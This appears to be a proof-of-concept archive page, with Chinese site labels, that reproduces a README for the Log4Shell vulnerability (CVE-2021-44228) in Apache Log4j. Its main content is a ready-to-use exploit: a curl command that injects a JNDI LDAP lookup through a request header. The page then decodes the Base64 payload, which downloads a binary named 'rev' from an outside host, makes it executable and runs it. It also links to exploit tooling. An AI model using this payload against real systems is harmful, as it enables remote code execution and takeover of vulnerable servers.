关联漏洞
介绍
# LOG4J-CVE-2021-44228
Log4Shell — also known as CVE-2021-44228 — is a critical vulnerability that enables remote code execution in systems using the Apache Foundation’s Log4j, which is an open-source Java library that is extensively used in commercial and open-source software products and utilities

POC Anaylsis
The vulnerable Server is running on port 8080

And the ldap server is running on two ports http 8888 and ldap 1389

**EXPLOIT COMMAND**
curl 172.17.0.2:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/d2dldCBodHRwczovLzEwLjAuMi4xNTo4MDAwL3JldiAtTyAvdG1wL3JldiAmJiBjaG1vZCAreCAvdG1wL3JldiAmJiAvdG1wL3Jldg==}'
{
172.17.0.2:8080 -- Vulnerable Server IP
172.17.0.1:1389 -- LDAP Server IP
Base64 -- d2dldCBodHRwczovLzEwLjAuMi4xNTo4MDAwL3JldiAtTyAvdG1wL3JldiAmJiBjaG1vZCAreCAvdG1wL3JldiAmJiAvdG1wL3Jldg==
Decrypted Command - wget https://10.0.2.15:8000/rev -O /tmp/rev && chmod +x /tmp/rev && /tmp/rev
}
**PACKET ANALYSIS**


AS WE CAN SEE IN THE PACKETS THAT THE SERVER IS SENDING A GET REQUEST FOR A CLASS TO LDAP SERVER , IF WE CHECK THE EXPLOIT CLASS THEN WE CAN SEE THAT LDAP SERVER IS SENDING THE DECRYPTED COMMAND IN THE EXPLOIT CLASS.

Ref
https://github.com/simrotion13/log4shell-vulnerable-app
https://github.com/black9/Log4shell_JNDIExploit.git
文件快照
[4.0K] /data/pocs/c2521d9e7ade6dd09c12ed2f13e3c0b1314dac14
├── [2.1K] README.md
└── [1.3K] testing.py
0 directories, 2 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。